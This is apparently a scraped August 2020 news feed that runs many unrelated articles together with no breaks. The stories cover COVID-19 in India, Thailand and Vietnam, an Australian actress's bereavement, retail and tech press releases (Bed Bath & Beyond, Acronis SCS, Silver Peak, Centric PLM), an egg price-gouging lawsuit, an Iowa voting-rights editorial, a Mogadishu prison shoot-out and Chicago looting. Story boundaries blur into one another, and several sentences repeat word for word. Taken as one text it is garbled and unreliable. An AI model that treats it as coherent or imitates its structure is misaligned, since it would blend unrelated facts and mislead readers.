oxygen support. She went live on the social media to seek help. Later, West Bengal Minister Laxmi Ratan Shukla responded to her video appeal and made arrangements to ensure an oxygen cylinder for the patient. On a positive note, Kolkata Police Constables Bhaskar Bera and Pappu Kumar Sinha stepped forward to help a corona positive patient by donating plasma for her therapy at a private hospital in the city on Monday. Source: Xinhua| 2020-08-11 22:20:49|Editor: huaxia Video Player Close BANGKOK, Aug. 11 (Xinhua) -- Thailand's Ministry of Education announced on Tuesday that all state schools under the supervision of the Ministry's Office of Basic Education Commission (OBEC) will resume in-person teaching from Thursday onward, but on a trial basis. OBEC said in a press briefing on Tuesday that the resumption of schools was in line with the improvement in the COVID-19 situation in Thailand, which has not recorded a single case of local infection for 78 days in a row. Students must, however, keep a record of where they go after school, so that officials can monitor their after-school activities, in case any of them is exposed to COVID-19 and so that the proper steps can be taken to prevent the disease from spreading. Although schools can resume classes, they have been instructed to use classrooms for teaching as little as possible, to avoid congestion, and to emphasize out-door activities and out-door teaching. In case a school wants to hold a meeting, or activities where many students are expected to attend, the school administrator must notify the area health office and seek permission or report the activity to the respective governor. OBEC said the trial period will take a period of 14 days to check whether any case of COVID-19 has flared up. Enditem Actress Jessica Marais is mourning the death of her mother, Karen, who passed away last week. Jessica's friend and Packed to the Rafters co-star Hugh Sheridan confirmed the heartbreaking news in an Instagram post on Tuesday. 'I'm grieving for my dearest and sweetest friend, who has now lost both of her parents far too young,' he wrote. Heartbreaking news: Actress Jessica Marais is mourning the death of her mother, Karen, who passed away last week. Pictured at the TV Week Logie Awards on April 23, 2017 in Melbourne Rest in peace: Jessica is pictured with her late mother (left) at the Logie Awards on May 1, 2011 Three days earlier, on Saturday, Jessica had hinted at a death in the family when she shared a childhood photo to Instagram of herself with her mother and sister at the beach. While she did not disclose her mother's death in the caption, several of her friends understood the significance of the post and offered their condolences. Jessica was just nine years old when she watched her father, university dean Tony Marais, collapse and die of a heart attack. Tribute: On Saturday, Jessica had shared this childhood photo to Instagram of herself with her mother and sister at the beach. She did not disclose her mother's death in the caption, but several of her friends understood the significance of the post and offered their condolences Sharing the love: Jessica's friend and Packed to the Rafters co-star Hugh Sheridan confirmed the heartbreaking news in an Instagram post on Tuesday Actor Hugh, who has known Jessica since their university days, shared his memories of Karen and said how proud she was of her daughter. 'We've helped each other through our lives changing in so many ways. Our wins and highs met extreme lows sometimes, but we always made it through,' he wrote. 'I can't tell you how s**t I feel knowing I can't hug you right now. To have distance between us when I want to be with you,' added Hugh, who lives in Los Angeles. 'I love you, Jess. I'll be back very soon and I will hug you for a very long time (after I get lot of quarantine).' 'I can't tell you how s**t I feel knowing I can't hug you right now': Hugh (left), who lives in Los Angeles, shared his condolences and vowed to return to Australia 'very soon' to support Jess Hugh also quoted The Road Not Taken by poet Robert Frost, adding the hashtags #YouHaveMadeAllTheDifference, #LongLiveOurQueen and #LongMayWeContinue. In 2011, Jessica told News.com.au that she was haunted by her father's death, and lived in fear of losing other loved ones in the same way. But she credited her mother with helping the family 'pull through a very hard time'. The Logie winner, 35, added: 'It's sort of something you relive I think, everyone that has lost someone... you relive it every day. It feels fresh, but obviously time does heal a lot of wounds and I'm definitely much better at coping with it now.' Tragedy: Jessica was just nine years old when she watched her father, university dean Tony Marais, collapse and die from a heart attack. Pictured: the Marais family Traumatic: In 2011, she said that she still was haunted by her father's death, and lived in fear of losing other loved ones in the same way Struggles: It has certainly been a tough year for Jess, who shares an eight-year-old daughter, Scout (centre), with her ex-fiance, actor James Stewart (left) It has certainly been a tough year for Jessica, who shares an eight-year-old daughter, Scout, with her ex-fiance, actor James Stewart. Four months ago, emergency crews were called to her home in Sydney's eastern suburbs for a welfare check. On the afternoon of Saturday, May 2, she was walked to an ambulance where she was put on a gurney and taken to the Prince of Wales Hospital in Randwick. Troubles: In May, emergency crews were called to Jessica's home in Sydney's eastern suburbs for a welfare check. She was escorted to an ambulance and taken to the Prince of Wales Hospital in Randwick. Pictured at the 2017 Logie Awards in Melbourne 'Speak my truth': In June, Jessica shared a heartfelt open letter to Instagram about 'loneliness and growth' following her hospitalisation A witness told Daily Mail Australia she was not wearing any shoes, her hair was a 'dishevelled mess' and she was in a 'visibly distressed state'. Fortunately, she appeared happy and healthy several weeks later as she spent time with Hugh and other supportive friends. In June, Jessica shared a heartfelt open letter to Instagram about 'loneliness and growth' following her hospitalisation. 'She's doing really well': That month, Rebecca Gibney (left) addressed Jessica's personal struggles and departure from the Packed to the Rafters reboot That month, her former Rafters co-star Rebecca Gibney addressed Jessica's personal issues and departure from the Packed to the Rafters reboot. The New Zealand actress revealed that while Jessica had her 'struggles', she would inevitably bounce back and 'surprise them all' both personally and professionally. Rebecca told TV Week: 'She is doing really well and I'm in constant contact with her. She is truly one of those unique talents!' In 2014, Jessica spoke about being diagnosed with bipolar disorder. 'I was diagnosed at one point with bipolar. I have developed ways to talk myself down from any ledges I find myself on,' she told The Australian Women's Weekly. 'There's probably one day a month when I am an absolute mess. In my case it's hard to separate what is due to trauma or stress and what is due to a simple chemical imbalance.' With the uncertainty of how exactly the COVID-19 pandemic will impact college and university campuses, many schools are opting for virtual college courses this fall. As a result, many students will be living at home in their childhood bedrooms instead of campus dormitories. Shopping for and decorating a dorm room is a rite of passage for college-bound students and College from Home provides inspiration to design a stylish and functional bedroom that feels like college. "As the college destination for countless students across the country, whether studying at home or on campus, we know this fall won't bring the typical college experience every student looks forward to," says Joe Hartsig, Executive Vice President and Chief Merchandising Officer of Bed Bath & Beyond. "College from Home brings the dorm experience to life for students by showcasing essential product solutions, paired with design inspiration to turn their childhood bedrooms and work spaces into functional spaces for remote learning." Starting today, the College from Home section will feature virtual learning and study at home dorm essentials including lap desks, organization tools, accessories, and bedding to transform childhood bedrooms into dreamy dorm spaces. The design team at Decorist created three room examples to help inspire for students to create authentic spaces including: Chill Camp Vibes : a natural and rustic vibe, with muted colors and outdoorsy elements for a camping-out feel : a natural and rustic vibe, with muted colors and outdoorsy elements for a camping-out feel Low-Key Bohemian : bright and cozy, with vintage-inspired pieces and cool modern touches : bright and cozy, with vintage-inspired pieces and cool modern touches Modern Glam: pink and gold with plenty of plush, fluffy accents that come together for a mature, chic look "College students are adjusting to a new learning environment this year. In July, we saw searches on our site up more than 200% for desks and office chairs compared to the same period last year. They need design guidance and inspiration to create a conducive space whether they're living at home or on campus. With that in mind, and along with insights from current students, we designed these spaces to set students up for academic success, as well as to be cozy, comfortable, and personal," said Cindy Davis, Executive Vice President and Chief Brand Officer of Bed Bath & Beyond and President of Decorist. "In our survey of college students, about seven in ten students1 say decorating their dorm is important to them, and their dorm decor is an expression of self. Students shared they seek to create a space to feel 'at home' which is our core brand purpose and what we want to help them achieve with these inspirational designs." To create an upgraded dorm-inspired bedroom at home, Decorist provides help with a style quiz or the option to collaborate with a Decorist designer. It also provides several tips for students and their parents to consider before shopping: Create a Cohesive Look: Before shopping, students should think about the look they want to go for and get inspired! Before shopping, students should think about the look they want to go for and get inspired! Take a Seat: Comfortable, back-friendly seating options are essential for studying and learning remotely, while a comfortable chair and ottoman will make reading and study breaks cozier. Comfortable, back-friendly seating options are essential for studying and learning remotely, while a comfortable chair and ottoman will make reading and study breaks cozier. Brighten Up: Don't forget to include adequate lighting and even consider lamps with a USB port to keep devices charged and ready to go. Don't forget to include adequate lighting and even consider lamps with a USB port to keep devices charged and ready to go. Express Yourself: Artwork and decor will not only make a space stand out, but also acts as a virtual backdrop for video classes Artwork and decor will not only make a space stand out, but also acts as a virtual backdrop for video classes Make It Comfy: While having a dedicated study space is important, it's equally as important to have a comfortable bed and relaxation corner to relax from studying and get a good night's rest While having a dedicated study space is important, it's equally as important to have a comfortable bed and relaxation corner to relax from studying and get a good night's rest Sleep in Style: As the main focal point of a bedroom, bedding is a key place to showcase style through pillows, throws, and even curtains. As the main focal point of a bedroom, bedding is a key place to showcase style through pillows, throws, and even curtains. Get Organized: With the childhood bedroom acting as a space to learn and relax, organizing textbooks and paperwork on bookcases or in filing cabinets will help keep students on track and everything in its place. With the childhood bedroom acting as a space to learn and relax, organizing textbooks and paperwork on bookcases or in filing cabinets will help keep students on track and everything in its place. Fuel Up: Even though the kitchen may be a short walk away, having a small refrigerator or a personal coffee maker will help keep students fueled while studying. For college this season, students and parents can take advantage of many services including newly introduced 2-hour Buy-Online-Pickup-In-Store (BOPIS) and contactless Curbside Pickup services, to make the college shopping experience as safe and easy as possible. A newly created Healthy Living assortment also offers essentials for those students returning to campus living, including face masks, thermometers, and cleaning supplies. Customers receive great value when they sign up for the College Savings Pass and receive 20% off their entire purchase every time they shop on made-to-last items, with unlimited use in-store or online through September 30, 2020. Standard coupon exclusions apply. Sign up at www.bedbathandbeyond.com/CSP. For more information about our college offerings, visit www.bedbathandbeyond.com/shopforcollege. Customers can visit College from Home at www.bedbathandbeyond.com/collegefromhome. About Bed Bath & Beyond: Bed Bath & Beyond Inc. and subsidiaries (the "Company") is an omnichannel retailer that makes it easy for our customers to feel at home. The Company sells a wide assortment of domestic merchandise and home furnishings. The Company also provides a variety of textile products, amenities and other goods to institutional customers in the hospitality, cruise line, healthcare and other industries. Additionally, the Company is a partner in a joint venture which operates retail stores in Mexico under the name Bed Bath & Beyond. Bed Bath & Beyond operates websites at bedbathandbeyond.com, bedbathandbeyond.ca. About Decorist: Decorist is an online interior design company that makes decorating a home easy and affordable. Executed entirely online, Decorist's roster of over 400 professional interior designers help beautifully design any room in the home, staying within a client's style and budget. Decorist's services makes ordering all of the components for a room easy and fast, at the best possible prices. And for customers not ready to start a full design project, they can consult Decorist's Design Bar to have quick design questions answered by Decorist's team of interior designers, completely free of charge. The company is a subsidiary of Bed Bath & Beyond Inc. 1Source: Student Dorm Decor Study (May, 2020); online survey among a national sample of n=360 Gen Z Americans, ages 16-24, who lived in an on-campus dorm in the past two years and/or plan to live in an on-campus dorm in the next year. SOURCE Bed Bath & Beyond Related Links http://bedbathandbeyond.com BAKU, Azerbaijan, August 11 By Elnur Baghishov Trend: The Iran Khodro Industrial Group prevented the outflow of funds worth 5 million euros from the country during the period from the beginning of the current Iranian year (March 20, 2020) to July 5, Executive Director of the company Farshad Moghimi said, Trend reports citing official website of Ministry of Industry, Mine and Trade of Iran. According to Moghimi, nine local production projects were implemented by six manufacturers in the country. He added that a total of 59 types of spare parts were produced by 35 local manufacturers in the last Iranian year (from March 21, 2019 to March 20, 2020), which helped to prevent outflow of 74 million euros. In addition, eight types of spare parts were manufactured domestically by nine local manufacturers. This prevented the outflow of 58 million euros from the country, he said. The director added that also 12 projects on manufacturing of new types of spare parts domestically are currently being implemented by eight manufacturers. This will prevent the outflow of more than 9.5 million euros from country annually. Moghimi noted that Iran Khodro will save a total of 153 million euros in the current Iranian year by manufacturing spare parts and supplying raw materials. Next Iranian year (start March 21, 2021), the company seeks to prevent the outflow of funds worth 93 million euros. "Thus, in total, 246 million euros will be saved and 152 types of spare parts will be produced domestically," he said. Scale Computing, a market leader in edge computing, virtualization and hyperconverged solutions, today announced it is offering Acronis SCS backup and disaster recovery solutions, as well as a cloud storage option, on the HC3 platform for US public sector customers, including federal, state and local government, public utilities, and education, healthcare, and nonprofit organizations. Seamless integration with Scale Computings HC3 infrastructure provides the unparalleled backup and cyber protection capabilities of Acronis SCS Cyber Backup and Acronis SCS Cyber Backup 12.5 Hardened Edition on a simple, scalable platform that many public sector organizations already use. Built-in Active Protection against ransomware and unparalleled recovery flexibility ensure that, no matter the operating environment, public sector organizations critical systems remain operational and sensitive data stays safe. The integration of Scale Computing HC3 infrastructure with Acronis SCS backup software solutions is more critical in todays world than ever before. As more and more organizations have adopted remote work policies in response to COVID-19, related cyberattacks have jumped 30 percent, and the number of ransomware attacks on public sector entities is back on the rise. Scale Computing already enjoys a strong presence in the public sector, said Jeff Ready, CEO and co-founder, Scale Computing. Now, by adding support for Acronis SCS and its best-of-breed ransomware protection and backup software, we are even better equipped to meet the security requirements and unique needs of a wide range of public sector organizations, including the most sensitive government environments -- something that has become even more critical today with the increase in ransomware and other cyberattacks. By delivering both our regular and hardened backup solutions on the Scale Computing HC3 infrastructure, Acronis SCS ensures our public sector customers have access to the highly secure environment and affordable, self-healing platform they need to not only survive in todays complex cyber threat landscape, but thrive, said John Zanni, CEO of Acronis SCS. That combination is incredibly valuable for IT teams responsible for ensuring Americas mission critical systems and sensitive data stay protected, both in these unprecedented times and well beyond. Acronis SCS Cyber Backup 12.5 Hardened Edition Acronis SCS Cyber Backup 12.5 Hardened Edition, the companys backup software for federal government and utilities, is purpose built to provide operational assurance to sensitive no internet air gapped environments, including supervisory control and data acquisition (SCADA) and industrial control systems, Department of Defense weapons testing sites, development labs, training simulators, deployed tactical elements, and more. It is the only full-disk image backup and disaster recovery point solution available on the Department of Defense Information Network Approved Products List (DoDIN APL), is certified by Common Criteria, and is in process for FIPS 140-2 certification. As a company that works closely with the US veteran community, including maintaining a workforce of 20 percent veterans and providing post-military IT job training and certifications to veterans via Acronis SCSVets, Acronis SCS has a unique understanding of public sector cyber protection needs and the critical importance of protecting sensitive government information and assets. About Scale Computing Scale Computing is a leader in edge computing, virtualization, and hyperconverged solutions. Scale Computing HC3 software eliminates the need for traditional virtualization software, disaster recovery software, servers, and shared storage, replacing these with a fully integrated, highly available system for running applications. Using patented HyperCore technology, the HC3 self-healing platform automatically identifies, mitigates, and corrects infrastructure problems in real-time, enabling applications to achieve maximum uptime. When ease-of-use, high availability, and TCO matter, Scale Computing HC3 is the ideal infrastructure platform. Read what our customers have to say on Gartner Peer Insights, Spiceworks, TechValidate and TrustRadius. About Acronis SCS Acronis SCS is an American cyber protection and edge data security company exclusively dedicated to meeting the unique requirements of the US public sector. The companys innovative and comprehensive cyber protection, backup and disaster recovery, anti-ransomware, and enterprise file sync and share software solutions ensure operational assurance and data security across Americas federal, state and local government, education, healthcare, and nonprofit computing environments. All Acronis SCS employees are US citizens. One of the nations largest egg producers has been accused by New York authorities of raking in $4 million in illegal revenue by gouging customers with exorbitantly high prices when the state was grappling with rising coronavirus cases. A lawsuit filed on Tuesday by Attorney General Letitia James of New York contends that the producer, Hillandale Farms, at times quadrupled the price of eggs to cash in on a surge in demand in March and April. In particular, Hillandale targeted distributors in New York City, as well as the military installations at West Point, Fort Hamilton and Fort Drum, according to the lawsuit. The company was not raising prices to offset increased costs, the suit says, but simply to line its own pockets and profit off New Yorkers during a time of crisis. Source: Xinhua| 2020-08-11 12:23:57|Editor: huaxia Video Player Close NEW YORK, Aug. 11 (Xinhua) -- Paul Krugman, a New York Times columnist, has warned that the United States seems to be headed for a greater recession compared with the 2008 financial crisis when the COVID-19 pandemic is still ravaging. "The suspension of federal benefits would create damage almost as terrifying as the economic effects of the coronavirus," said Krugman in an opinion Coming Next: The Greater Recession published on Thursday. In 2008, Krugman was the sole recipient of the Nobel Memorial Prize in Economic Sciences for his work on international trade theory. "What didn't happen was a major second round of job losses driven by plunging consumer demand," said Krugman. "Millions of workers lost their regular incomes; without federal aid, they would have been forced to slash spending, causing millions more to lose their jobs." Krugman said Democrats offered a plan months ago as the special aid has expired, "but Republicans can't even agree among themselves on a counteroffer." Krugman said the low-income group without federal benefits cannot blunt the impact by drawing on savings or borrowing against assets, and therefore their spending will slump. "Evidence on the initial effects of emergency aid suggests that the end of benefits will push overall consumer spending -- the main driver of the economy -- down by more than 4 percent," he noted. Noting that the coronavirus disease is a shock that came out of the blue, Krugman said "what we're looking at now may be another shock, a sort of economic second wave, almost as severe in monetary terms as the first." "So at the moment we seem to be headed for a Greater Recession -- a worse slump than 2007-2009, overlaid on the coronavirus slump," the expert warned. Enditem Iowa no longer carries the stigma of being the only state not allowing those convicted of a felony to vote unless getting written dispensation after petitioning the governor. Republican Gov. Kim Reynolds last week held true to her promise to sign an executive order restoring the right to vote to former prisoners who served their terms except for those committing heinous crimes. Stunningly, she did so without requiring that felons fully pay restitution, although they must continue paying what they owe. Restitution has been castigated as a poll tax as a precursor to voting for people with limited means. According to the Des Moines Register, nearly one in four convictions the past two years came with a judgment of restitution to victims. In nearly 4,000 cases, the bills averaged $11,607. Restitution, though, was a stipulation for voting rights restoration in Senate File 2348 passed by the Republican-controlled Legislature last session. It only would become law if voters ratify its provisions as a constitutional amendment by 2023. Reynolds executive order was timed so that qualifying former felons can vote in November. Her primary exclusions relate to Chapter 707 of the Iowa Code including murder, attempted murder, voluntary and felony involuntary murder, nonconsensual termination of a pregnancy and solicitation to commit murder. Probation, parole and special sentences associated with serious sexual offenses must be completed. Those individuals can petition the governor for consideration of having their voting rights restored. The NAACP, Black Lives Matters and the American Civil Liberties Union celebrated Reynolds order, which could assist 40,000 disenfranchised former felons. In 2019, about 56,500 Iowans lost voting privileges because of felony convictions, including 7,400 then in prison. According to the Iowa Department of Corrections, about 5,000 prisoners are discharged annually. U.S. Rep. Steve King, an ostracized Republican whose congressional desk displayed a Confederate flag, denounced the move, saying it was driven by BLM, which he called a terrorist-affiliated organization. Yet Iowa had become the sole outlier after Kentucky, Virginia and Florida allowed former felons to vote. Kentucky Gov. Andy Beshear, a Democrat, signed an executive order two days after taking office last year. Virginia Democrats repealed a ban after winning control of the legislature. Florida voters overwhelmingly approved a referendum without restitution, but the Republican-controlled Legislature tacked on an amendment requiring it. A federal court decision is expected Aug. 18. Maine and Vermont allow prisoners to vote, 16 states restore the privilege upon release, while 21 do so after all terms are concluded, including parole and probation. Conditions are attached in other states. Gov. Tom Vilsack, a Democrat, issued a 2005 executive order allowing felons to vote after being released. Yet Democrats, who then controlled the Legislature, didnt advance a measure to change the Iowa Constitution, which denies voting rights to those committing infamous crimes. A day after succeeding Vilsack in 2011, Republican Gov. Terry Branstad rescinded the executive order and instituted an appeals process. The Iowa Supreme Court reaffirmed the infamous crimes prohibition, 4-3, in 2016. In the intervening five years, Branstad restored voting rights to fewer than 100 felons 0.2% of those disenfranchised. For Reynolds, the issue was personal. She has cited her struggles with alcoholism and drunken driving arrests. She has been sober for more than 20 years after seeking treatment. It boils down to our fundamental belief in redemption and second chances, Reynolds said. Quite simply, when someone serves their sentence and has paid the price our justice system has set for their crime, they should have their right to vote restored automatically, plain and simple. Reynolds decision is particularly significant for African Americans 3.3% of the states population but more than 25% of its prisoners. Iowa was No. 1 nationally in incarcerating African Americans in 2007 with a 13-1 ratio, which fell to 11-1 in 2016. Nationally its 5-1. The Iowa poverty rate for Blacks is three times higher than Whites, making full payment of restitution more problematic. While Whites and Blacks use illegal drugs at roughly the same rate, a 2016 report by the ACLU and Human Rights Watch based on FBI and U.S. Census Bureau statistics found African Americans were seven times more likely to be jailed. Reynolds said more still needs to be done. Today we are taking a step to at least temporarily fix that injustice that our current system creates. But let me be clear, an executive order is at best a temporary solution, she said. We agree. The Legislature should follow her leadership, revisit Senate File 2348 and lay the groundwork for a constitutional amendment without a restitution requirement. A Des Moines Register/Mediacom Iowa poll last year found nearly two-thirds of Iowans back restoring voting rights to felons after completing their sentences. Reynolds is to be commended for doing the right thing in time for the November election. When I founded Silver Peak 15 years ago, we set out on a singular mission: to help our customers build a better WAN. Our focus has been on architecting solutions, and building a company dedicated to connecting users to applications with greater ease, efficiency and effectiveness. Weve done this through two generations of enterprise IT architecture, first with WAN optimization primarily focused on accelerating data center hosted applications, and then over the last five years with SD-WAN to address the broad adoption of cloud and SAAS services, and providing enterprises with a multiplier effect on their digital transformation initiatives. Everything we have done is with the goal of delivering the highest quality of experience to users when interacting with business applications and services in mind. Over the years, weve built an incredible team that has culminated in making Silver Peak one of the leading SD-WAN providers in the world with more than 2,000 production customer deployments and counting. Through our focus and expertise, we are one of only two companies recognized by Gartner as a Leader in the Magic Quadrant for WAN Edge Infrastructure for two years running now. Even with all of the success weve realized, our mission remains in the early stages of what were capable of delivering. Now is the time to accelerate. Today, I am excited to announce that Hewlett Packard Enterprise (HPE) has agreed to acquire Silver Peak for $925 million. From the start of my discussions with the HPE and Aruba team specifically, it immediately became clear that with our combined portfolio and complementary areas of expertise we will be able to accelerate growth faster than we possibly could on our own. Upon closing the deal, we will become part of HPEs Aruba division, bringing together the industrys most comprehensive end-to-end secure networking portfolio from the data center to the campus, to branch and remote worker locations. Together, we will fully capitalize on the powerful combination of the Silver Peak team, the end-to-end Aruba portfolio, and the extensive capabilities across HPE to accelerate product development of future offerings in this fast-growing segment of the networking market. Our Unity EdgeConnect SD-WAN edge platform is highly complementary to HPEs industry-defining SD-Branch offerings and it will become the centerpiece of Arubas WAN edge strategy. In addition to accelerating our product development roadmap, we also share the same affinity for providing customers with the freedom of choice to seamlessly integrate technologies from our expansive ecosystem of technology alliance partners. In his blog post today, Aruba Founder and President, Keerti Melkote summed it up well when he wrote: we share the same vision and common goal providing simplicity, scalability and application-awareness at the edge. As we work through the standard closing conditions, we will remain singularly focused on delivering the highest quality solutions to our customers that drive maximum value from their existing and ongoing cloud and digital transformation investments. These are exciting times at Silver Peak and for our industry. Now is the time for Silver Peak to capitalize on all of the great work weve been doing for the past 15 years and I couldnt be more excited about the future. Im looking forward to joining Keerti and his team at Aruba and continuing to drive our vision forward, only-be-it with a lot more resources and much broader market reach. The Silver Peak Unity EdgeConnect SD-WAN Edge Platform has been named a leader for the second consecutive year in the Gartner 2019 Magic Quadrant for WAN Edge Infrastructure. Get the full report. The Kumasi Airport project is expected to be completed and officially start operations in April next year. Presently, the contractors working on the huge edifice have completed 55 per cent of the work and they are poised to totally complete it as expected. Aviation Minister, Joseph Kofi Adda, made this known on Thursday when he toured the facility. Mr Adda said he was highly impressed with the quality and pace of work executed by the contractors so far. He urged the contractors to carry out the modern airport project according to documented prescriptions to ensure value for money. According to the minister, the project was in two phases (phase two and phase three). Contractors are concurrently working on both phases. The second phase comprises of the terminal building; the construction of Apron, which would be ready in some few months; roads and car park. The third phase of the project includes control tower, fire station, the extension of the runway from 1981 metres to 2320 metres among others. Mr. Adda noted that the completion of the project would bring immense economic benefits to the Ashanti Region and Ghana in general. He said the completion of the project would also see a significant improvement in the aviation sector as air traffic to Kumasi would be enhanced. The Aviation Minister indicated that the airport would also help offer employment to the people; bring investors and also help to beautify Kumasi. Mr. Adda reiterated his call on the contractor to continue delivering quality work, adding that the Kumasi Airport is dear to government. The Aviation Minister's entourage included his deputy, Mr. Yaw Afful and Yaw Kwakwa, the MD for Ghana Airport Company Limited. Kwadwo Abrefa Sarkodie, the Head of Regional Airports and his officials as well as the contractors and engineers on site led the minister during the tour. ---Daily Guide What are the origins of Ferragosto, Italy's summer holiday? Italy marks the national holiday of Ferragosto each year on 15 August, the feast of the Assumption, the day when Catholics believe the Virgin Mary ascended to heaven, body and soul, at the end of her earthly life. The origins of Italy's Ferragosto, however, date back to Roman times, with the Feriae Augusti introduced as a period of rest by Emperor Augustus in 18 BC. In the modern-day capital Ferragosto normally means an exodus of Romans as well as the closure of public offices and family-run businesses, restaurants, bars and shops, although larger supermarkets tend to open for a half day. Traditionally Rome residents escape the Ferragosto heat by heading to the beach or the mountains, while those left behind enjoy the city's peaceful streets and parks, the traffic-free roads and the simple joy of finding a parking place with ease. With the exception of the Vatican Museums, many of Rome's museums and archaeological sites will remain open, and the city's public transport network normally operates according to a reduced "festivi" timetable. For those interested in cooking the traditional Ferragosto meal of Pollo alla Romana, here is our recipe. Vietnam reports more Covid-19-related deaths, but no new cases Vietnam confirmed two more deaths linked to the Covid-19 pandemic, but no more fresh cases on Tuesday morning. The 14th fatality, Patient 436, was a 66-year-old man from the central city of Danangs Cam Le Ward. He stayed at Danang Hospital for the treatment of kidney failure and cardiac arrest between July 6-27. The sterilisation for Covid-19 prevention in Vietnam (Photo by Son Tung) On July 26, he was tested positive to Covid-19 and two days later, he was moved to Hue Central Hospital in Thua Thien-Hue Province. Since August 2, his condition worsened so the extracorporeal membrane oxygenation (ECMO) support was used. However, he did not improve and died on Monday. The 15th death, Patient 522, was a 68 year-old man in the central province of Quang Nams Thang Binh District who struggled with diabetes and kidney failure. He was treated at Danang Hospital between July 9-22. On July 30, he tested positive for Covid-19 and then was sent to Hue Central Hospital for the treatment. Since July 31, his condition got much worse with consecutive high fever and respiratory failure. He died on Monday. Despite the higher number of deaths, the country has seen a fall in new Covid-19 infections. On Tuesday morning, the Ministry of Health reported no fresh cases, meaning a second consecutive morning without new infections. Vietnam has registered a total of 847 Covid-19 patients to date, including 318 from abroad. Since July 25 when the pandemic started broke out in Danang, up to 14 cities and provinces have been affected. Since July 25 when the pandemic started broke out in Danang, up to 14 cities and provinces have been ravaged. Two guards also believed to be killed after convicted al-Shabab fighters engaged in a shoot-out with prison guards. At least six prisoners were killed and six others wounded in a shoot-out inside a prison in the Somali capital, Mogadishu on Monday. There were conflicting reports of how the prisoners, all said to be members of the al-Qaeda-linked group al-Shabab, got hold of the weapons. There was heavy shooting inside the prison where some inmates managed to get hold of firearms and started shooting the guards, security officer Abdi Dhere told the AFP news agency. It is not clear how the prisoners ended up having access to guns. Another security source said one of the prisoners snatched a rifle from a guard. Two prison guards were killed in the attack, General Mahad Abdirahman Aden, the countrys prison chief, told national TV. Information ministry spokesman Ismael Mukhtar Omar said the situation in the prison was now back to normal. All those inmates who were involved in the fighting were killed, he said in a statement. Hassan Kulmiye, a police officer, told DPA news agency the prisoners were able to capture parts of the complex and it took security forces nearly two hours to end the siege. Prisoners were able to capture parts of the complex and it took security forces nearly two hours to end the siege, a security officer said [File: Feisal Omar/Reuters] Somalia has been embroiled in deadly violence since 1991, when clan fighters overthrew longtime leader Siad Barre and then turned on each other. Since 2008, al-Shabab has been fighting to overthrow the internationally-recognised central government and establish its rule based on its own interpretation of Islamic law. Al-Shabab was driven out of the capital in 2011 by Somali forces backed by African Union troops, but has continued to wage war against the government, carrying out regular attacks. Last month, Somalias military chief escaped unhurt when an al-Shabab suicide attacker drove a bomb-laden car into his convoy in Mogadishu. Flash Two people were shot, more than 100 arrested and 13 police officers injured in widespread looting and vandalism that happened early Monday morning in downtown Chicago. A security guard and a civilian were struck by gunfire and taken to the hospital in critical conditions. Of the 13 police officers injured, a sergeant was struck by a bottle, and an officer's nose was broken. Five guns were recovered at the scenes. At a press conference held Monday morning, Chicago Police Superintendent David Brown linked the looting in downtown Chicago to a shooting in Englewood in South Chicago Sunday afternoon, when police officers responded to a report of a 20-year-old man with a gun. The man fled and fired at officers, and the officers fired back and struck the man, who was taken to the hospital and is expected to survive. After the shooting, a crowd gathered in the area, Brown said. The Chicago Police Department became aware of "several social media posts" about looting planned downtown, and reacted by deploying 400 officers to the downtown area. The first looting incident happened in South Chicago, Brown said, but "soon, car caravans were headed into the Loop" to begin looting. It is "pure criminality," he said. A video posted on social media showed a white car drove into and broke the window of a store while tens of people lined besides cheering. Other videos on social media showed crowds breaking windows and entering stores in business districts in downtown Chicago. Chicago Mayor Lori Lightfoot called the act a "felony criminal conduct" and "an assault on our city." She called on the public to help apprehend the looters. "To those who engaged in this criminal behavior ... we are coming for you. We are already at work in finding you and we intend to hold you accountable," Lightfoot said at the press conference. "There is no justification for criminal behavior ever." The police have started a neighborhood protection plan; a team of detectives has been assigned to scour security footage of all incidents; access to downtown Chicago will be restricted from 8 p.m. to 6 a.m., effective Monday night; and all day-off has been cancelled for Chicago Police officers, local media reported. For several hours Monday morning, the bus and train service was suspended in downtown Chicago, and all downtown bridges except one were raised, according to a Chicago Transit Authority (CTA) announcement. CTA restored normal service shortly before 8 a.m., but the major streets throughout downtown Chicago remain closed. Questo comunicato e stato pubblicato piu di 1 anno fa. Le informazioni su questa pagina potrebbero non essere attendibili. Russian fashion and retail companies choose Centric PLMTM to empower digital transformation, remote collaboration and greater productivity CAMPBELL, Calif., August 11, 2020 Centric Software is bringing its best-in-class Product Lifecycle Management (PLM) solutions to brands, retailers and manufacturers in Russia, recently signing partnerships with four customers in the region. Centric Software provides the most innovative enterprise solutions to fashion, retail, footwear, outdoor, luxury, consumer goods and home decor companies to achieve strategic and operational digital transformation goals. Centric PLM provides an actionable, single source of the truth for product-related data enabling fast go to market and efficient product management. Considered a necessary foundation technology for brands, retailers and manufacturers, Centric PLM enables streamlined digital collaboration across internal and external teams in order to drive product innovation, speed time to market and optimize costs. Centric Softwares PLM solutions have been developed hand-in-hand with 370+ c ompanies repr esenting 1,350+ brands worldwide, combining Silicon Valley expertise with industry best practices. Fashion and retail companies in Russia realize that digital transformation is imperative, especially in the wake of the massive disruption all markets are facing, explains Konstantin Galkin, Sales Director in Russian Federation at Centric Software. Companies have suddenly transitioned to remote collaboration and are facing considerable uncertainty. They are looking for ways to optimize efficiency and productivity in order to cope with pressure on product margins and operating capital. Having the right technology in place to support these changes will determine whether businesses survive. Centric Software has signed partnerships with four customers in Russia since entering the region towards the end of 2019. Leading fast fashion company LIME, casual wear brand Finn Flare, young fashion brand 12Storeez and the leader of Russian and European labor protection market, developer, producer and supplier of workwear, safety footwear, individual PPE and other accompanying goods, Vostok-Service have selected Centric PLM to support strategic digital transformation goals such as creating a foundation for growth, reducing time to market while maintaining high quality standards, and facilitating seamless team collaboration with industry best practices and the newest technologies. Now, more than ever, better pre-season planning is crucial, Galkin continues. Real-time online collaboration with suppliers enables businesses to be more agile and adapt rapidly to unpredictable circumstances. Companies need a big-picture view when building collections and the ability to accurately run virtual what-if scenarios before committing capital and resources to development and production. Centric Software PLM enables the achievement of these goals and gives companies a firm foundation to react to market shifts. Our customer-partners in Russia see Centric PLM as a critical tool for future-proofing their businesses, he adds. Were delighted that so quickly after arriving to serve the Russian market, four innovative companies in Russia have selected Centric Software as a trusted partner, says Chris Groves, President and CEO of Centric Software. Centric PLM has a crucial part to play in building a strong digital foundation for Russian companies now and in the future, and we look forward to forging new relationships in Russia. Learn more about Centric PLM Request a Demo Centric Software (www.centricsoftware.com) From its headquarters in Silicon Valley, Centric Software provides a Digital Transformation Platform for the most prestigious names in fashion, retail, footwear, luxury, outdoor, consumer goods and home decor. Centrics flagship Product Lifecycle Management (PLM) platform, 